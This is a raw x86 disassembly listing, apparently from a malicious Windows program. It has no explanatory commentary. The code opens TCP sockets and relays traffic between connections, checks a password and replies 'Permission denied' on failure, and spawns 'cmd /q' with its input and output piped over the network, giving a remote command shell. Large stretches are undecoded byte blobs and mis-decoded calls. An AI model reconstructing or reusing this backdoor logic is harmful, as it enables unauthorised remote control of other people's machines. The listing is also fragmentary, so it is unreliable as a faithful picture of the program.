dword_44128C push eax call sub_4171D0 push edi lea eax, [ebp-350h] push 18h push eax call sub_408E53 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_446214[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_40ED54 push esi push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 2291C0Bh, 69C44D8Bh, 234C9h, 89C63B00h, 44622481h, 39137400h dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 2281881h, 0E890EDEBh dd 2281BCFh, 12D46850h, 0A0E80044h, 59000018h ; --------------------------------------------------------------------------- pop ecx jmp short loc_40ED32 ; --------------------------------------------------------------------------- loc_40ED2F: ; CODE XREF: ___:0040EC26j ; ___:0040EC5Aj ... mov edi, [ebp+8] loc_40ED32: ; CODE XREF: ___:0040ED2Dj push edi call dword_4453E0 push dword ptr [ebp+8] call dword_4453E0 push dword ptr [ebp-40h] call sub_40916F pop ecx push esi nop call near ptr 2700000h pop edi pop esi loc_40ED54: ; DATA XREF: ___:0040ECE7o push ebp mov ebp, esp mov eax, 1344h call sub_417E20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4453C8 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_40EF0A push 10h lea eax, [ebp-18h] push edi push eax call sub_417070 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_445348 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_445388 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_40EDE4 lea eax, [ebp-13Ch] push eax call dword_4453CC jmp short loc_40EDF2 ; --------------------------------------------------------------------------- loc_40EDE4: ; CODE XREF: ___:0040EDD3j push 2 lea eax, [ebp-8] push 4 push eax call dword_445300 loc_40EDF2: ; CODE XREF: ___:0040EDE2j cmp eax, edi jz loc_40EF0A mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4452F0 cmp eax, 0FFFFFFFFh jz loc_40EF0A movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4453D4 push eax lea eax, [ebp-344h] push offset unk_441310 push eax call sub_4171D0 push esi lea eax, [ebp-344h] push 18h push eax call sub_408E53 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_44621C[ebx] mov dword_446214[eax], ecx add esp, 20h mov ecx, [esi] mov dword_446220[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_40EF3B push edi push edi nop call near ptr 26A08FFh mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_446224[ecx], eax jz short loc_40EEF7 loc_40EEA4: ; CODE XREF: ___:0040EEB1j cmp [ebp-20h], edi jnz short loc_40EEB3 push 32h nop call near ptr 2690599h jmp short loc_40EEA4 ; --------------------------------------------------------------------------- loc_40EEB3: ; CODE XREF: ___:0040EEA7j mov ebx, 1000h loc_40EEB8: ; CODE XREF: ___:0040EEF3j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417070 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_445360 cmp eax, edi jle short loc_40EF0A push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_40EEB8 jmp short loc_40EF0A ; --------------------------------------------------------------------------- loc_40EEF7: ; CODE XREF: ___:0040EEA2j nop call near ptr 26908EFh push eax push offset unk_441354 call sub_4105CB pop ecx pop ecx loc_40EF0A: ; CODE XREF: ___:0040ED98j ; ___:0040EDF4j ... mov eax, [ebp-4] imul eax, 234h push dword_44621C[eax] call dword_4453E0 push dword ptr [ebp+8] call dword_4453E0 push dword ptr [ebp-4] call sub_40916F pop ecx push edi call near ptr 2700000h nop pop edi pop esi pop ebx loc_40EF3B: ; DATA XREF: ___:0040EE84o push ebp mov ebp, esp mov eax, 1128h call sub_417E20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_40EF72: ; CODE XREF: ___:0040EFB7j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417070 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_446220[esi] call dword_445360 test eax, eax jle short loc_40EFB9 push 0 push eax lea eax, [ebp-1128h] push eax push dword_44621C[esi] call dword_445398 cmp eax, 0FFFFFFFFh jnz short loc_40EF72 loc_40EFB9: ; CODE XREF: ___:0040EF9Cj push dword_446220[esi] call dword_4453E0 push dword ptr [ebp-14h] call sub_40916F pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 2Ah, 10h ; --------------------------------------------------------------------------- das add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_44621C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_445330 test eax, eax jnz short loc_40F05C push dword ptr [esi] call dword_4453E0 push dword ptr [ebp+8] call sub_40916F pop ecx push edi call near ptr 2700000h nop loc_40F05C: ; CODE XREF: ___:0040F042j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_445360 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_40F1DD lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_40F1DD lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_40F1DD add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_44529C test eax, eax jz short loc_40F0D5 call dword_4452DC push eax push offset unk_441394 call sub_4105CB push dword ptr [ebp+8] call sub_40916F add esp, 0Ch push edi nop call near ptr 2700000h loc_40F0D5: ; CODE XREF: ___:0040F0B0j push 2 lea eax, [ebp-18h] push 4 push eax call dword_445300 cmp eax, edi jnz short loc_40F0FF push dword ptr [ebp-18h] call dword_4453D4 push eax lea eax, [ebp-0B0h] push eax call sub_4171D0 jmp short loc_40F10D ; --------------------------------------------------------------------------- loc_40F0FF: ; CODE XREF: ___:0040F0E5j push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4184C0 loc_40F10D: ; CODE XREF: ___:0040F0FDj pop ecx pop ecx push edi push ebx push offset dword_4D63C0 push dword ptr [esi] call dword_445398 cmp dword_4D63B8, edi jnz short loc_40F16F push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_40F237 add esp, 10h test eax, eax jnz short loc_40F16F push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_445398 push dword ptr [esi] call dword_4453E0 push dword ptr [ebp+8] call sub_40916F pop ecx push edi nop call near ptr 2700000h loc_40F16F: ; CODE XREF: ___:0040F124j ; ___:0040F145j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4413D4 call sub_4105CB push dword ptr [ebp+8] call sub_40F4EE add esp, 10h test eax, eax jnz short loc_40F1B6 nop call near ptr 26908EFh push eax push offset unk_4413FC call sub_4105CB push dword ptr [ebp+8] call sub_40916F add esp, 0Ch push ebx call near ptr 2700000h nop loc_40F1B6: ; CODE XREF: ___:0040F191j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_441428 call sub_4105CB push dword ptr [ebp+8] call sub_40916F add esp, 10h push edi nop call near ptr 2700000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F1DD proc near ; CODE XREF: ___:0040F072p ; ___:0040F07Fp ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_445360 cmp eax, 1 jnz short loc_40F22D mov esi, [ebp+arg_4] loc_40F1FB: ; CODE XREF: sub_40F1DD+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_40F222 test al, al jz short loc_40F231 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_445360 cmp eax, 1 jz short loc_40F1FB jmp short loc_40F22D ; --------------------------------------------------------------------------- loc_40F222: ; CODE XREF: sub_40F1DD+27j push offset unk_441454 call sub_4105CB pop ecx loc_40F22D: ; CODE XREF: sub_40F1DD+19j ; sub_40F1DD+43j xor eax, eax jmp short loc_40F234 ; --------------------------------------------------------------------------- loc_40F231: ; CODE XREF: sub_40F1DD+2Bj push 1 pop eax loc_40F234: ; CODE XREF: sub_40F1DD+52j pop esi leave retn sub_40F1DD endp ; =============== S U B R O U T I N E ======================================= sub_40F237 proc near ; CODE XREF: ___:0040F13Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40F262 push [esp+arg_4] push [esp+4+arg_0] push offset dword_441480 call sub_4105CB add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_40F262: ; CODE XREF: sub_40F237+11j push 1 pop eax retn sub_40F237 endp ; --------------------------------------------------------------------------- word_40F266 dw 8B55h ; DATA XREF: sub_403038+382Co dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4452B8h, 0C63BF633h, 68501D74h dd 4414F0h, 131EE8h, 0B475FF00h, 0FF9EBAE8h, 0CC483FFh dd 41E89057h, 57022F0Dh, 40F4E468h, 18D3E800h, 85900239h dd 0E82975C0h, 228161Bh, 1C685090h, 0E8004415h, 12EBh dd 15FF5959h, 4452A0h, 0E8B475FFh, 0FFFF9E7Fh, 0E8905759h dd 22F0D08h, 8D106A53h, 5056E045h, 7D6BE8h, 0CC48300h dd 0E045C766h, 75FF0002h, 4815FFB0h, 6A004453h, 26A5706h dd 0E2458966h, 0FFE47589h, 4453C815h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 44621C98h, 0E0458D00h dd 15FF5350h, 445374h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 445370h, 850FC085h, 103h, 44156068h, 0F045C700h, 0Ch dd 89F47589h, 0D4E8F875h, 59000011h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4453DC15h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 44532815h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 53D415FFh, 8D500044h, 0FFFBEC85h, 159C68FFh dd 0E8500044h, 7DE8h, 0FBEC858Dh, 0E850FFFFh, 1163h, 0EC858D57h dd 6AFFFFFBh, 50E85009h, 89FFFF9Ah, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 446214h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 40EFD868h, 0F0458D00h, 0CCE85056h, 90022914h, 69B84D8Bh dd 234C9h, 89C63B00h, 44622481h, 39137400h, 850FC875h dd 0FFFFFF37h, 42E8326Ah, 90022811h, 0E890EDEBh, 228148Fh dd 15E06850h, 60E80044h, 59000011h, 8B03EB59h, 15FF087Dh dd 4452DCh, 0EC858D50h, 68FFFFFBh, 44161Ch, 7D46E850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 96E8FFFFh, 83FFFF1Fh dd 858D14C4h, 0FFFFFBECh, 1099E850h, 57590000h, 53E015FFh dd 0FF530044h, 4453E015h, 0A015FF00h, 0FF004452h, 94E8B475h dd 59FFFF9Ch, 0B1EE856h, 5B90022Fh, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F4EE proc near ; CODE XREF: ___:0040F187p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_40F63F imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_44621C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4DD2E0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_40F811 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_40F559 nop call near ptr 26908EFh push eax push offset unk_441654 call sub_4105CB or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_40F593 ; --------------------------------------------------------------------------- loc_40F559: ; CODE XREF: sub_40F4EE+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_40F8C3 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_40F59A nop call near ptr 26908EFh push eax push offset unk_44169C call sub_4105CB pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26D0BAFh loc_40F593: ; CODE XREF: sub_40F4EE+69j xor eax, eax jmp loc_40F63A ; --------------------------------------------------------------------------- loc_40F59A: ; CODE XREF: sub_40F4EE+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 27A0E62h nop sub eax, ebx jz short loc_40F5F4 dec eax jz short loc_40F5EE dec eax jz short loc_40F5DA nop call near ptr 26908EFh push eax push offset unk_4416E4 call sub_4105CB pop ecx pop ecx jmp short loc_40F609 ; --------------------------------------------------------------------------- loc_40F5DA: ; CODE XREF: sub_40F4EE+D5j mov edi, dword_4DD30C push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_40F609 ; --------------------------------------------------------------------------- loc_40F5EE: ; CODE XREF: sub_40F4EE+D2j push ebx push dword ptr [esi+10h] jmp short loc_40F5F8 ; --------------------------------------------------------------------------- loc_40F5F4: ; CODE XREF: sub_40F4EE+CFj push ebx push dword ptr [esi+14h] loc_40F5F8: ; CODE XREF: sub_40F4EE+104j nop call near ptr 26D0BAFh push 1 push dword ptr [esi+8] nop call near ptr 27308F4h loc_40F609: ; CODE XREF: sub_40F4EE+EAj ; sub_40F4EE+FEj push dword ptr [esi+10h] mov edi, dword_4DD2BC call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4453E0 push esi call sub_415820 pop ecx push 1 pop eax loc_40F63A: ; CODE XREF: sub_40F4EE+A7j pop edi pop esi pop ebx leave retn sub_40F4EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F63F proc near ; CODE XREF: sub_40F4EE+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_414DB0 mov esi, eax pop ecx cmp esi, edi jz loc_40F729 mov ebx, dword_4DD348 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_4DD2BC test eax, eax jnz short loc_40F6A2 nop call near ptr 26908EFh push eax push offset unk_441718 jmp short loc_40F6C2 ; --------------------------------------------------------------------------- loc_40F6A2: ; CODE XREF: sub_40F63F+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_40F6CA call near ptr 26908EFh nop push eax push offset unk_441758 loc_40F6C2: ; CODE XREF: sub_40F63F+61j call sub_4105CB pop ecx jmp short loc_40F6F8 ; --------------------------------------------------------------------------- loc_40F6CA: ; CODE XREF: sub_40F63F+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_40F738 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_40F72D push offset unk_441798 call sub_410557 loc_40F6F8: ; CODE XREF: sub_40F63F+89j cmp [ebp+var_4], 0 pop ecx jz short loc_40F704 push [ebp+var_4] call edi loc_40F704: ; CODE XREF: sub_40F63F+BEj cmp [ebp+var_8], 0 jz short loc_40F70F push [ebp+var_8] call edi loc_40F70F: ; CODE XREF: sub_40F63F+C9j mov eax, [esi] test eax, eax jz short loc_40F718 push eax call edi loc_40F718: ; CODE XREF: sub_40F63F+D4j mov eax, [esi+4] test eax, eax jz short loc_40F722 push eax call edi loc_40F722: ; CODE XREF: sub_40F63F+DEj push esi call sub_415820 pop ecx loc_40F729: ; CODE XREF: sub_40F63F+1Dj xor eax, eax jmp short loc_40F733 ; --------------------------------------------------------------------------- loc_40F72D: ; CODE XREF: sub_40F63F+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_40F733: ; CODE XREF: sub_40F63F+ECj pop edi pop esi pop ebx leave retn sub_40F63F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F738 proc near ; CODE XREF: sub_40F63F+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417070 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417070 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4DD344 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 27309FCh nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 267039Fh test eax, eax jz short loc_40F7F4 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_446218[eax], ecx nop call near ptr 267009Bh jmp short loc_40F80A ; --------------------------------------------------------------------------- loc_40F7F4: ; CODE XREF: sub_40F738+9Aj call near ptr 26908EFh nop push eax push offset unk_4417C8 call sub_4105CB mov esi, [ebp+var_4] pop ecx pop ecx loc_40F80A: ; CODE XREF: sub_40F738+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_40F738 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F811 proc near ; DATA XREF: sub_40F4EE+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4DD338 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_40F83A: ; CODE XREF: sub_40F811+8Fj call ebx test eax, eax jz short loc_40F8A2 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_40F875 loc_40F84B: ; CODE XREF: sub_40F811+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_40F865 cmp dl, 0Dh jz short loc_40F865 mov [ebp+eax+var_1B0], 0Dh inc eax loc_40F865: ; CODE XREF: sub_40F811+44j ; sub_40F811+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_40F84B loc_40F875: ; CODE XREF: sub_40F811+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_445398 test eax, eax jle short loc_40F8A2 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_40F83A ; --------------------------------------------------------------------------- loc_40F8A2: ; CODE XREF: sub_40F811+2Dj ; sub_40F811+79j mov esi, dword_4DD2D4 call esi cmp eax, 6Dh jz short loc_40F8BE call esi push eax push offset dword_441800 call sub_4105CB pop ecx pop ecx loc_40F8BE: ; CODE XREF: sub_40F811+9Cj pop edi pop esi pop ebx leave retn sub_40F811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8C3 proc near ; DATA XREF: sub_40F4EE+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_40F8DC: ; CODE XREF: sub_40F8C3+39j ; sub_40F8C3+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_445360 test eax, eax jle loc_40F9E1 cmp [ebp+var_10], ebx jbe short loc_40F8FE dec [ebp+var_10] jmp short loc_40F8DC ; --------------------------------------------------------------------------- loc_40F8FE: ; CODE XREF: sub_40F8C3+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_40F9C1 cmp al, 8 mov [ebp+var_C], ebx jz short loc_40F96E cmp al, 7Fh jz short loc_40F96E cmp al, 3 jnz short loc_40F929 push ebx push ebx nop call near ptr 27B0000h jmp short loc_40F995 ; --------------------------------------------------------------------------- loc_40F929: ; CODE XREF: sub_40F8C3+5Aj cmp al, 15h jnz short loc_40F94B xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_40F981 ; --------------------------------------------------------------------------- loc_40F94B: ; CODE XREF: sub_40F8C3+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_40F982 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_40F981 ; --------------------------------------------------------------------------- loc_40F96E: ; CODE XREF: sub_40F8C3+52j ; sub_40F8C3+56j cmp esi, ebx jbe short loc_40F998 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_40F981: ; CODE XREF: sub_40F8C3+86j ; sub_40F8C3+A9j pop ecx loc_40F982: ; CODE XREF: sub_40F8C3+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_445398 test eax, eax jle short loc_40F9E1 loc_40F995: ; CODE XREF: sub_40F8C3+64j mov al, byte ptr [ebp+arg_0+3] loc_40F998: ; CODE XREF: sub_40F8C3+ADj cmp al, 0Dh jnz loc_40F8DC lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2720000h test eax, eax jz short loc_40F9E1 xor esi, esi jmp loc_40F8DC ; --------------------------------------------------------------------------- loc_40F9C1: ; CODE XREF: sub_40F8C3+47j cmp [ebp+var_C], ebx jnz short loc_40F9D2 mov [ebp+var_C], 1 jmp loc_40F8DC ; --------------------------------------------------------------------------- loc_40F9D2: ; CODE XREF: sub_40F8C3+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_40F8DC ; --------------------------------------------------------------------------- loc_40F9E1: ; CODE XREF: sub_40F8C3+2Bj ; sub_40F8C3+D0j ... pop edi pop esi pop ebx leave retn sub_40F8C3 endp ; --------------------------------------------------------------------------- word_40F9E6 dw 8B55h ; DATA XREF: sub_403038+406Eo dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 7652E850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 445348h, 6A57066Ah, 45896602h dd 0F07589EEh, 53C815FFh, 0F88B0044h, 69C4458Bh, 234C0h dd 0B8895300h, 44621Ch, 50EC458Dh, 7415FF57h, 85004453h dd 21850FC0h, 6A000001h, 15FF570Ah, 445370h, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 2BF7E8FFh, 5059FFFFh dd 0FD2C858Dh, 3C68FFFFh, 50004418h, 7737E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 1987E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 0A8AE8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4453DC15h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 0D415FFE0h, 50004453h, 0FD2C858Dh, 6468FFFFh, 50004418h dd 76CBE8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF933Fh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 44621488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 0FBEB6850h, 56560040h dd 0DBDE890h, 4D8B0229h, 34C969C8h, 3B000002h, 248189C6h dd 74004462h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 280A34E8h dd 0EDEB9002h, 0D81E890h, 8D500228h, 0FFFD2C85h, 18A868FFh dd 0E8500044h, 7650h, 0E90CC483h, 0FFFFFF39h, 0E015FF57h dd 0FF004453h, 858DC075h, 0FFFFFD2Ch, 4418E468h, 2DE85000h dd 83000076h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF187Dh dd 8D14C483h, 0FFFD2C85h, 80E850FFh, 0FF000009h, 90E8C475h dd 59FFFF95h, 0E8905659h, 22F0418h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 44621Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 445330h, 1875C085h, 15FF36FFh, 4453E0h, 0E80875FFh dd 0FFFF950Bh, 0E8905359h, 22F0394h, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 44536015h, 7FC08500h, 0FF36FF18h dd 4453E015h, 875FF00h, 0FF94DAE8h, 905359FFh, 2F0363E8h dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 7BA4h, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 19186850h, 0E4E80044h, 68000008h, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 736AE85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 9815FF36h, 0FF004453h, 0E015FF36h, 0FF004453h, 44E80875h dd 59FFFF94h, 